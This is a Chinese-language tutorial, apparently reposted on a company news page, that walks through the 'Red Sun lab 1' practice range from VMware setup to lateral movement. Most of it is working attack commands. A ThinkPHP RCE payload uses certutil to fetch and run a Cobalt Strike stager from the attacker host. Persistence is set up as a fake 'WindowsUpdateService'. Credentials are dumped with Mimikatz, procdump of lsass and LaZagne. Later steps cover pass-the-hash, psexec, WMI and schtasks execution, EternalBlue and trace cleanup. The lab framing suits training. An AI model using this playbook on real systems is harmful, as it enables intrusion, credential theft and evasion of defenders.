尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

内网横向渗透实战:从环境搭建到信息搜集的完整流程解析

内网横向渗透实战:从环境搭建到信息搜集的完整流程解析
📅 发布时间:2026/7/6 0:15:20

1. 项目概述:一次完整的内网横向渗透实战演练

最近在复盘内网渗透的知识体系,发现很多朋友对理论概念很熟悉,但一到实战就无从下手。这让我想起几年前自己刚接触内网时,面对一个完整的靶场环境,同样感到迷茫:工具怎么用?步骤怎么走?遇到问题怎么排查?为了系统地解决这个问题,我决定以经典的“红日靶场1”为蓝本,写一个从零开始的实战全流程系列。这个系列的目标很明确:不讲空泛的理论,只做能“抄作业”的实操。我会把每一步的操作、背后的思路、踩过的坑都掰开揉碎了讲清楚,让你能跟着做一遍,真正理解内网横向渗透的完整链条。

今天这篇是系列的第一篇,我们聚焦在最基础也是最关键的起点:环境搭建与信息搜集。很多人觉得环境搭建就是点几下鼠标,信息搜集就是跑几个脚本,其实远不止于此。一个稳定、可控的靶场环境是后续所有复杂操作的基础,而细致入微的信息搜集则是决定渗透能否成功的关键。我会带你从零开始,在VMware里部署红日靶场1的三台靶机(Win7、Win2003、Win2008),配置好攻击机(Kali),然后使用Cobalt Strike(后文简称CS)上线Web服务器,并完成第一轮深入的信息搜集。整个过程我会详细到每一个命令、每一个配置参数,并解释为什么要这么做,以及如果出错了该怎么排查。

2. 靶场环境搭建与网络拓扑解析

2.1 靶场镜像获取与虚拟机配置

红日靶场1的镜像在网上很容易找到,通常是一个压缩包,解压后包含三台虚拟机的OVA或VMDK文件:一台Windows 7(通常作为Web服务器,也是我们最初的突破口)、一台Windows Server 2003(内网应用服务器)、一台Windows Server 2008(域控制器)。我的建议是,永远从可信的源获取靶场镜像,下载后务必校验MD5或SHA1值,确保文件完整性,避免镜像本身被植入后门。

拿到镜像后,我们使用VMware Workstation Pro进行导入。这里有几个关键配置点直接影响后续渗透的成败:

  1. 网络适配器设置:这是最核心的一步。我们需要构建一个模拟真实内网的环境。通常的配置是:

    • Win7(Web服务器):配置两张网卡。
      • VMnet1(仅主机模式):这张网卡用于连接内网,IP地址由内网的DHCP服务器(通常是域控制器)分配,例如192.168.52.0/24网段。
      • VMnet8(NAT模式):这张网卡用于对外提供Web服务,并允许我们的攻击机(Kali)从外部访问。我们需要将其IP设置为一个固定的、与Kali攻击机同网段的地址,例如192.168.111.0/24网段,并手动设置Win7的这张网卡IP为192.168.111.128。
    • Win2003 & Win2008(内网服务器):只配置一张网卡,连接到VMnet1(仅主机模式),使其完全处于内网环境,无法直接从外部互联网访问。
    • Kali攻击机:配置一张网卡,连接到VMnet8(NAT模式),确保其能与Win7的对外网卡(192.168.111.128)通信。
  2. 虚拟机内存与性能:三台Windows靶机同时运行对宿主机的内存有一定要求。建议分配:Win7(2GB)、Win2003(1GB)、Win2008(2GB)。如果宿主机内存紧张,可以适当调低,但不要低于1GB,否则系统会非常卡顿,影响实验体验。

  3. 快照管理:在每台靶机刚导入、尚未进行任何操作时,立即创建一个纯净快照,命名为“Initial State”。在后续渗透练习中,我们会频繁进行还原操作。养成打快照的习惯,能为你节省大量重复搭建环境的时间。

注意:VMware的虚拟网络编辑器需要提前配置好。确保VMnet1和VMnet8的子网地址与你的规划一致,并且关闭了DHCP服务(因为我们部分IP需要手动设置)。VMnet1的网段(如192.168.52.0)就是我们的“内网”,VMnet8的网段(如192.168.111.0)则是“外网”或“DMZ区”。

2.2 攻击机(Kali)环境准备与工具检查

我们的攻击机选择Kali Linux,它集成了绝大多数我们需要的工具。但即便是Kali,在开始前也需要做一些准备工作。

首先,更新系统并安装一些可能未预装但非常有用的工具:

sudo apt update && sudo apt upgrade -y sudo apt install -y seclists gobuster powershell-empire
  • seclists:包含大量的字典文件,用于目录爆破、密码爆破等。
  • gobuster:一个高效的目录/子域名爆破工具。
  • powershell-empire:一个后期渗透框架,在某些场景下可以作为CS的补充。

其次,配置静态IP。虽然NAT模式通常由DHCP分配IP,但为了稳定性,我建议给Kali设置一个静态IP,与Win7的对外IP在同一网段。编辑/etc/network/interfaces或使用nmcli命令,将IP设置为如192.168.111.129/24,网关为192.168.111.2(通常是VMnet8的网关地址)。

最后,也是最重要的,准备Cobalt Strike。CS是一个商业化的渗透测试平台,功能强大。你需要拥有合法的授权和客户端。将CS服务端部署在一台VPS上,或者在本机运行都是常见做法。这里假设你在本机运行TeamServer(仅用于学习,确保网络隔离)。

启动TeamServer:

# 在CS目录下 ./teamserver <你的VPS_IP或本机在VMnet8的IP> <连接密码> [/path/to/c2.profile] # 例如,如果你的Kali在VMnet8的IP是192.168.111.129 ./teamserver 192.168.111.129 MySecretPassword123

启动后,在另一台机器或本机的图形界面下,启动CS客户端,连接到192.168.111.129:50050,用户名为任意,密码为MySecretPassword123。

实操心得:CS的TeamServer非常敏感,绝对不要暴露在公网且使用弱密码。在本地虚拟机环境练习时,也要养成好习惯。首次连接后,先在CS里创建一个监听器(Listener),这是后续生成木马的基础。例如,创建一个名为http_80的HTTP监听器,绑定到Kali的192.168.111.129IP,端口80。

3. 初始突破:Web服务探测与Cobalt Strike上线

3.1 目标Web服务发现与漏洞扫描

环境就绪后,我们首先需要找到攻击入口。根据靶场设计,Win7(192.168.111.128)对外提供了Web服务。

第一步,基础存活探测:

ping 192.168.111.128

如果不通,检查虚拟机网络配置、防火墙是否关闭(靶场环境通常已关闭)。通了之后,用nmap进行端口扫描:

nmap -sS -sV -O -p- 192.168.111.128
  • -sS:SYN半开扫描,速度快且相对隐蔽。
  • -sV:探测服务版本。
  • -O:探测操作系统。
  • -p-:扫描所有65535个端口。

扫描结果很可能显示80端口开放,运行着某个Web服务器(如IIS、Apache)。我们再用whatweb或浏览器简单访问一下,识别具体的技术栈:

whatweb http://192.168.111.128

假设我们发现它是一个基于PHP的网站,可能使用了某个CMS(如WordPress、ThinkPHP等)。红日靶场1常被设计为存在已知漏洞的应用,比如ThinkPHP的RCE漏洞。

第二步,针对性漏洞探测。如果我们通过页面特征或扫描结果怀疑是ThinkPHP,可以使用专门的漏洞验证工具或手工测试。例如,对于ThinkPHP 5.x的RCE,可以尝试访问特定路径:

http://192.168.111.128/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

如果页面返回了phpinfo的信息,说明存在漏洞。这一步的目的不是直接getshell,而是确认漏洞的存在性,为后续生成精准的利用载荷做准备。

3.2 生成并投递Cobalt Strike木马

确认漏洞可利用后,我们需要一个木马(Payload)来获得一个反向Shell。这里就是Cobalt Strike大显身手的地方。相比MSFVenom生成的独立木马,CS的Beacon功能更强大,支持异步通信、多种协议、内网穿透等。

  1. 生成Payload:在CS客户端中,点击Attack->Packages->Windows Executable (S)。这里选择Windows Executable而不是Windows Executable (Stageless)。两者的区别在于:

    • Staged(S):生成一个体积很小的第一阶段加载器(Stager),负责连接CS下载完整的Beacon阶段(Stageless Payload)。更适合通过大小受限的漏洞利用进行投递。
    • Stageless:生成一个包含完整Beacon的独立可执行文件,体积较大,但更稳定。 由于我们通过Web漏洞上传或执行命令,通常有大小和字符限制,所以优先选择Staged方式。在生成时,选择我们之前创建的http_80监听器。
  2. 投递与执行:将生成的.exe文件(例如payload.exe)上传到目标服务器。利用我们发现的RCE漏洞执行命令。例如,通过漏洞执行:

    http://192.168.111.128/...(漏洞利用点)...&vars[0]=system&vars[1][]=certutil -urlcache -split -f http://192.168.111.129/payload.exe C:\\Windows\\Temp\\payload.exe

    这条命令利用Windows自带的certutil工具从我们的攻击机(192.168.111.129)下载payload.exe到目标临时目录。然后再执行一次RCE命令来运行它:

    ...&vars[0]=system&vars[1][]=C:\\Windows\\Temp\\payload.exe
  3. 会话上线:如果一切顺利,几秒钟后,你会在CS的Beacons界面看到一个新的会话上线,显示目标机的IP、用户名、权限等信息。右键该会话,选择Interact,就可以打开一个交互式的Beacon控制台。

踩坑记录:这一步最容易出问题的地方是防火墙和杀毒软件。靶场环境通常已关闭,但真实环境复杂得多。如果木马无法执行或上线,首先检查目标进程是否启动(通过RCE执行tasklist | findstr payload),其次在攻击机用tcpdump或Wireshark抓包,看是否有向监听器IP(192.168.111.129:80)发起的HTTP请求。如果没有,可能是Payload被杀,需要尝试编码、混淆或使用其他加载技术。

4. 立足点加固与初步信息搜集

拿到第一个Beacon会话,只是万里长征第一步。这个会话可能不稳定(例如是IIS的www-data权限),我们需要先巩固这个立足点。

4.1 权限提升与持久化

首先,检查当前权限。在Beacon控制台输入getuid。如果显示的不是NT AUTHORITY\SYSTEM或管理员权限,我们需要提权。可以尝试CS内置的elevate模块,或者上传一些提权检查脚本,如WinPEAS或PowerUp.ps1。

通过Beacon的upload功能上传WinPEAS.bat,然后使用execute或shell命令运行它:

beacon> upload /path/to/winpeas.bat beacon> shell C:\\Windows\\Temp\\winpeas.bat > C:\\Windows\\Temp\\out.txt beacon> download C:\\Windows\\Temp\\out.txt

分析输出的out.txt文件,寻找系统配置错误、弱服务权限、未打补丁的漏洞等提权线索。红日靶场1通常设计有简单的提权路径,比如利用AlwaysInstallElevated配置、服务路径空格漏洞等。

提权成功后,考虑持久化。CS提供了多种持久化方式,如注册表启动项、计划任务、服务等。对于Windows靶机,创建一个服务是常见且相对隐蔽的方式:

beacon> powershell New-Service -Name \"WindowsUpdateService\" -BinaryPathName \"C:\\Windows\\Temp\\payload.exe\" -StartupType Automatic beacon> shell sc start WindowsUpdateService

这样,即使系统重启,我们的Beacon也会随着这个“Windows更新服务”自动运行。

4.2 主机层面信息搜集

巩固立足点后,开始系统性的信息搜集。信息搜集不是漫无目的地跑命令,而是有层次、有目标地进行。我通常按照以下顺序:

  1. 系统信息:

    beacon> shell systeminfo beacon> shell hostname beacon> shell whoami /priv beacon> shell net user beacon> shell net localgroup administrators

    这些命令获取主机名、系统版本、补丁情况、当前用户、特权以及本地用户和组信息。特别关注补丁列表,它能告诉你系统可能缺失哪些漏洞修复。

  2. 网络信息:

    beacon> shell ipconfig /all beacon> shell route print beacon> shell arp -a beacon> shell netstat -ano

    ipconfig /all能看到所有网卡的详细配置,确认我们之前网络拓扑的猜想,发现内网网卡(192.168.52.0/24)。netstat -ano查看所有网络连接和监听端口,寻找内部其他服务的线索。

  3. 进程与服务:

    beacon> ps beacon> shell tasklist /svc beacon> shell sc query

    CS内置的ps命令已经很好用。查看进程列表,寻找杀毒软件、运维管理软件、数据库客户端等。服务列表也能提供类似信息。

  4. 文件与目录探查:

    beacon> ls C:\\ beacon> shell dir \"C:\\Program Files\" /a beacon> shell dir \"C:\\Users\" /a

    浏览关键目录,寻找配置文件(如web.config、config.ini)、数据库文件、备份文件、密码本等。Web根目录(如C:\\inetpub\\wwwroot)是重点。

  5. 凭证搜集:

    beacon> mimikatz !sekurlsa::logonpasswords

    使用CS集成的Mimikatz功能尝试抓取内存中的明文密码、哈希和票据。这是内网横向移动的“弹药库”。注意:在Windows 10/Server 2012及以上版本,需要先提升到SYSTEM权限,并且可能需要绕过LSA保护。

4.3 网络拓扑与邻接主机发现

现在我们知道目标Win7有两张网卡,一张在192.168.111.0/24(外),一张在192.168.52.0/24(内)。我们的Beacon会话在外网卡上,但目标是内网。我们需要以这台Win7为跳板,探测内网。

  1. 添加路由:在CS中,我们需要告诉Beacon,通往192.168.52.0/24的流量应该走当前这个会话。右键已上线的Beacon,选择Pivoting->SOCKS Server,启动一个SOCKS代理。更直接的方式是使用socks命令,并在View->Pivots中查看。但CS 4.0+更推荐使用rportfwd或beacon的socks功能结合Proxy Pivots。

    更自动化的方法是使用arp扫描后自动添加路由。但作为基础篇,我们先手动理解。实际上,当我们用这个Beacon去访问192.168.52.0/24网段时,CS会自动通过这个会话进行中转。

  2. 内网主机发现:我们以Win7为支点,执行内网扫描。在Beacon中:

    beacon> powershell.exe -exec bypass -c \"1..254 | % {\\\"192.168.52.$_\\\"} | Test-Connection -Count 1 -ErrorAction SilentlyContinue | where { $_.StatusCode -eq 0 } | Select-Object Address\"

    这条PowerShell命令对192.168.52.1到192.168.52.254进行了一次快速的ICMP ping扫描,并输出存活的主机。你也可以使用CS内置的net view或上传nmap的Windows版进行更全面扫描。

    扫描结果很可能发现另外两台靶机:192.168.52.143(Win2003)和192.168.52.138(Win2008域控)。

  3. 端口扫描与服务识别:发现存活主机后,下一步是扫描开放端口。我们可以通过Beacon,将命令发送到Win7上执行,但数据会通过Beacon通道返回,速度较慢。这里可以上传一个轻量级的扫描工具,如portqry.exe或者用PowerShell脚本。

    beacon> upload /path/to/nmap-7.94-setup.exe beacon> shell C:\\Windows\\Temp\\nmap-7.94-setup.exe /S beacon> shell \"C:\\Program Files (x86)\\Nmap\\nmap.exe\" -sS -p 1-1000 192.168.52.143

    假设对192.168.52.143(Win2003)的扫描显示开放了80端口(Web)、445端口(SMB)、3389端口(RDP)等。

至此,我们已经完成了环境搭建、初始突破、立足点巩固和初步的内网信息搜集。我们获得了一个稳定的、具有足够权限的CS Beacon会话在边界服务器(Win7)上,并且摸清了内网的基本结构:存在两台关键服务器,一台是Win2003(192.168.52.143),一台是Win2008域控(192.168.52.138)。信息搜集的结果已经为我们绘制出了一张清晰的“攻击地图”。

5. 深入信息搜集与攻击面分析

初步扫描给了我们一个目标列表,但真正的信息搜集远不止于发现IP和端口。我们需要深入分析每个潜在目标的攻击面,为下一步的横向移动做准备。这就像侦察兵不仅要找到敌人的营地,还要摸清他们的兵力部署、防御工事和换岗时间。

5.1 针对特定主机的精细化扫描

以192.168.52.143(Win2003)为例。我们知道它开了80和445端口。我们需要更详细的信息:

  1. Web服务指纹识别:通过Beacon代理,我们可以使用攻击机上的工具去访问内网的Web服务。首先在CS中设置好代理(如SOCKS4a),然后在攻击机的浏览器或命令行工具中配置代理为127.0.0.1:端口。使用curl或nikto进行扫描:

    # 在Kali上,通过ProxyChains调用curl proxychains curl -v http://192.168.52.143 proxychains nikto -h http://192.168.52.143

    或者,更直接地在Beacon中用shell调用Win7上的certutil或powershell来获取页面内容:

    beacon> shell curl http://192.168.52.143 -o C:\\Windows\\Temp\\page.html beacon> download C:\\Windows\\Temp\\page.html

    分析下载的页面,看是默认页面、特定应用(如phpMyAdmin、Tomcat管理后台)还是自定义网站。

  2. SMB服务枚举:445端口是Windows文件共享和命名管道的入口,是内网横向的黄金通道。我们可以枚举共享资源、用户、组等信息。

    beacon> shell net view \\\\192.168.52.143 beacon> shell net use \\\\192.168.52.143\\IPC$ /user:\"\" \"\"

    尝试空连接或弱口令连接。还可以使用CS内置的smb模块或上传enum4linux的Windows兼容脚本进行深度枚举:

    beacon> upload /path/to/enum4linux.pl # 需要Perl环境,或使用编译好的exe版 beacon> shell perl C:\\Windows\\Temp\\enum4linux.pl -a 192.168.52.143

    枚举信息包括:操作系统信息、共享列表、用户列表、组列表、密码策略等。

  3. RDP服务探测:3389端口开放意味着可能通过远程桌面连接。我们可以检查网络级别身份验证(NLA)是否启用,以及尝试爆破。但爆破风险大、速度慢。更好的方法是先收集可能的用户名(从当前主机、共享枚举中获得),再结合后续获取的密码哈希进行“哈希传递”或“票据传递”攻击。

5.2 域环境信息搜集(针对Win2008域控)

发现192.168.52.138是域控制器后,信息搜集的重点就要转向整个Active Directory域。我们需要了解这个域的“地图”。

  1. 基础域信息:

    beacon> shell net group \"domain computers\" /domain beacon> shell net group \"domain admins\" /domain beacon> shell net group \"domain users\" /domain beacon> shell net localgroup \"administrators\" /domain

    这些命令列出域中的计算机、域管理员、域用户以及域中哪些用户是本地管理员。域管理员(Domain Admins)是我们的终极目标。

  2. 用户与SPN枚举:服务主体名称(SPN)是Kerberos身份验证中用于标识服务实例的唯一名称。枚举SPN可以帮助我们发现哪些账户运行了哪些服务(如MSSQL、HTTP等),是Kerberoasting攻击的前提。

    beacon> powershell Get-NetUser -SPN | select samaccountname, serviceprincipalname

    需要提前在目标机器上导入PowerShell AD模块(如PowerView)或使用CS的powerview脚本。我们可以先上传PowerView.ps1到Win7,然后通过Beacon加载执行。

  3. 组策略与信任关系:

    beacon> shell gpresult /z > C:\\Windows\\Temp\\gp.txt beacon> download C:\\Windows\\Temp\\gp.txt

    gpresult可以获取应用到当前计算机和用户的组策略设置,里面可能包含密码策略、软件部署、脚本路径等有用信息。此外,还可以查询域之间的信任关系。

  4. BloodHound数据收集:BloodHound是域渗透的神器,它能通过图数据库直观展示域内用户、组、计算机之间的复杂关系,并找出攻击路径。我们需要在跳板机(Win7)上运行数据收集器SharpHound.exe。

    beacon> upload /path/to/SharpHound.exe beacon> shell C:\\Windows\\Temp\\SharpHound.exe -c all --zipfilename loot.zip beacon> download loot.zip

    将生成的loot.zip下载到攻击机,然后导入到我们攻击机上的BloodHound界面中,它会自动分析出从当前用户到域管理员的最短路径,可能包括“强制身份验证”、“基于资源的约束委派”、“ACL滥用”等多种攻击方式。

5.3 凭证与敏感信息深度挖掘

信息搜集的另一条主线是“找钥匙”,即各种凭证和敏感信息。

  1. 浏览器凭证:用户习惯在浏览器中保存各种密码。我们可以使用LaZagne或Mimikatz的dpapi模块来尝试解密。

    beacon> upload /path/to/LaZagne.exe beacon> shell C:\\Windows\\Temp\\LaZagne.exe browsers
  2. 配置文件与文档:手动或脚本化搜索特定关键词。

    beacon> shell findstr /s /i /m \"password\" *.config *.xml *.ini *.txt C:\\Users 2>nul beacon> shell findstr /s /i /m \"sqlconnection\" *.config *.xml *.aspx C:\\inetpub 2>nul

    这些命令在用户目录和Web目录下搜索包含“password”或“sqlconnection”字符串的文件,可能会发现数据库连接字符串、API密钥等。

  3. 注册表键值:很多软件会把配置信息存在注册表里。

    beacon> shell reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword beacon> shell reg query \"HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\" /s

    例如,检查自动登录密码,或者查询PuTTY保存的会话信息(可能包含明文主机和用户名)。

  4. 内存转储与分析:如果条件允许,可以对关键进程(如lsass.exe)进行内存转储,然后在本地用Mimikatz或Pypykatz进行分析,这有时能抓到GUI登录后残留的明文密码。

    beacon> procdump -ma lsass.exe C:\\Windows\\Temp\\lsass.dmp beacon> download C:\\Windows\\Temp\\lsass.dmp # 在攻击机本地使用 mimikatz 分析 # mimikatz # sekurlsa::minidump lsass.dmp # mimikatz # sekurlsa::logonpasswords

通过这一轮深入的信息搜集,我们不再仅仅知道有哪些机器,而是知道了每台机器上运行着什么服务(攻击面),域的结构如何,哪些是高价值目标(域管理员),以及我们可能已经掌握了哪些“钥匙”(凭证、哈希、票据)。这些信息被系统地整理出来,就构成了我们下一步横向移动的“作战计划”。例如,BloodHound可能告诉我们,当前我们控制的Win7上的某个服务账户对域内某台SQL服务器有“写入权限”,而这台SQL服务器又以高权限运行,那么我们就可以通过配置恶意DLL来进行提权。或者,Mimikatz抓取到的哈希正好是某个内网服务器的本地管理员密码,我们就可以直接进行“哈希传递”攻击。

6. 横向移动的初步尝试与思路规划

在掌握了详尽的信息之后,我们就可以开始规划并尝试横向移动了。横向移动的手段繁多,选择哪种取决于我们搜集到的“弹药”和目标的“防御”。

6.1 利用明文密码或哈希进行横向移动

这是最直接的方式。如果我们从Win7上抓取到了明文密码,或者从内存中提取到了NTLM哈希,并且知道内网其他主机的某个本地用户或域用户使用了相同的密码(密码复用很常见),我们就可以尝试。

  1. 使用Cobalt Strike的psexec或psexec_psh:CS内置了这些模块,可以直接使用捕获的哈希进行认证。

    beacon> jump psexec64 192.168.52.143 administrator HASHES

    你需要将HASHES替换为抓取到的管理员用户的NTLM哈希(格式如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)。如果成功,就会在目标192.168.52.143上生成一个新的Beacon会话。

  2. 使用Mimikatz的Pass-The-Hash:直接在当前Beacon中调用Mimikatz进行哈希传递。

    beacon> mimikatz sekurlsa::pth /user:Administrator /domain:192.168.52.143 /ntlm:HASH_NTLM

    成功后会弹出一个新的具有目标机器上下文的管理员命令行窗口,你可以在这个窗口里执行命令,或者再用这个上下文去运行一个CS的Stager上线。

  3. 使用wmiexec或smbexec:这些是 Impacket 工具套件里的经典工具,非常适合在已控机器上作为跳板使用。我们可以将对应的Python脚本上传到Win7,或者通过CS的execute功能调用攻击机上的Impacket。

    beacon> execute c:\\python27\\python.exe wmiexec.py -hashes :HASH_NTLM administrator@192.168.52.143

    这需要目标机器上开放135和445端口,并且WinRM服务可能也需要配置。

6.2 利用漏洞进行横向移动

如果密码复用这条路走不通,或者我们没有抓到合适的哈希,那么就需要寻找目标主机上存在的漏洞。

  1. MS17-010(永恒之蓝):对于未打补丁的Windows 7/2008/2008R2等系统,这是一个经典的远程代码执行漏洞。我们可以使用MSF的exploit/windows/smb/ms17_010_eternalblue模块,或者CS的eternalblue插件。首先需要确认目标是否漏洞。

    • 在CS中,使用portscan或上传nmap脚本扫描:
      beacon> shell nmap --script smb-vuln-ms17-010 192.168.52.143
    • 如果存在漏洞,可以直接在CS的Attack->Packages中选择对应的漏洞利用包,或者通过jump命令调用。
  2. 其他SMB/RDP漏洞:如CVE-2019-0708(BlueKeep),影响Windows 7/2008。同样需要先检测,后利用。红日靶场环境为了教学,通常会保留一些经典漏洞。

  3. Web应用漏洞:如果内网主机开放了Web服务(如192.168.52.143:80是一个Tomcat管理后台),我们可以尝试弱口令爆破(admin/admin)、已知漏洞(如Tomcat WAR后门上传)等。通过代理,我们可以像攻击外网Web一样攻击它。

6.3 利用服务与配置缺陷

很多时候,漏洞不在于代码,而在于配置。

  1. 不安全的文件共享:如果net view发现了可写共享,我们可以直接上传木马并计划任务执行。

    beacon> copy C:\\Windows\\Temp\\payload.exe \\\\192.168.52.143\\C$\\Windows\\Temp\\payload.exe beacon> shell sc \\\\192.168.52.143 create UpdateService binPath= \"C:\\Windows\\Temp\\payload.exe\" beacon> shell sc \\\\192.168.52.143 start UpdateService
  2. 计划任务:如果拥有远程主机的管理员权限,可以通过schtasks创建计划任务来执行Payload。

    beacon> shell schtasks /create /s 192.168.52.143 /tn \"MyTask\" /tr \"C:\\Windows\\Temp\\payload.exe\" /sc once /st 00:00 /ru SYSTEM beacon> shell schtasks /run /s 192.168.52.143 /tn \"MyTask\"
  3. WMI执行:Windows Management Instrumentation 是强大的管理工具,也可以用于远程执行命令。

    beacon> shell wmic /node:192.168.52.143 process call create \"C:\\Windows\\Temp\\payload.exe\"

6.4 横向移动中的隐蔽与对抗

在真实的渗透测试或演练中,蓝队(防御方)会有各种监控。我们的横向移动需要尽可能隐蔽。

  1. 流量伪装:使用CS的Malleable C2 Profile可以定义Beacon的通信流量,使其模仿成正常的HTTPS流量、Google流量等,绕过基于特征的IDS/IPS检测。

  2. 避免敏感操作:尽量减少直接使用psexec、wmic等会被EDR(终端检测与响应)软件标记为高危行为的操作。可以尝试使用“无文件”或“生活化”的方式,比如通过注册表、服务DLL劫持、COM劫持等技术进行持久化和执行。

  3. 时间控制:在CS中设置Beacon的睡眠时间(sleep)和抖动(jitter),让通信行为看起来不那么规律。避免在业务高峰时段进行大规模扫描或爆破。

  4. 清理痕迹:横向移动成功后,及时清理上传的工具、创建的临时文件、计划任务、服务等。在CS中,可以使用timestomp修改文件时间戳,使用shell del删除文件,使用sc delete删除服务。

规划横向移动路径时,BloodHound的分析结果至关重要。它会给出诸如“从当前用户到域管理员的最短路径是:UserA -> 对ComputerB有本地管理员权限 -> ComputerB上存在可滥用的服务账户 -> 该服务账户是Domain Admins组的成员”这样的可视化路径。我们只需要按照这个路径,一步步“打点”即可。

例如,BloodHound告诉我们,我们当前控制的WIN7$计算机账户对SRV2003有WriteOwner权限(可以修改某个对象的所有者)。而这个对象可能是一个组,修改所有者后我们可以将自己添加到该组,该组对某台服务器有GenericAll权限,最终通过约束委派拿到域管理员权限。这个过程涉及多个步骤,每一步都需要特定的命令和操作,但思路是清晰的。

在红日靶场1的后续篇章中,我们将具体实践这些横向移动方法,从Win7跳转到Win2003,再从Win2003跳转到Win2008域控,最终获取域控制器的最高权限。每一步我都会结合具体的命令、可能遇到的问题以及如何排查来详细讲解,把整个内网横向渗透的链条完整地串联起来。

相关新闻

  • Taishan-oslab性能优化指南:如何提升大规模并发实验处理能力
  • 军事仓储空间智能引擎:从三维建模到风险预测
  • Grok 4.3 Beta:从AI聊天工具到工作流嵌入式协作者

最新新闻

  • [特殊字符] 走01docker初始入门
  • 刨根问底:手写一个 C++ 深度学习框架,把 Transformer 扒个干净
  • 计算机导论_第4章_笔记
  • 企业认证与安全体系(九):单点登录 SSO 到底是怎么实现的?一篇讲透企业统一身份认证
  • 5分钟掌握SPT-AKI存档编辑器:逃离塔科夫单机版终极修改指南
  • 小产月子一般坐多少天?科学小产休养与子宫修护指南

日新闻

  • AI智能体安全防护框架AgentGuard:从原理到实战部署指南
  • KMX63与PIC18F26K40硬件组合及低功耗设计实践
  • 基于YOLO13改进的门体检测模型:C3k2模块与PoolingFormer技术解析

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号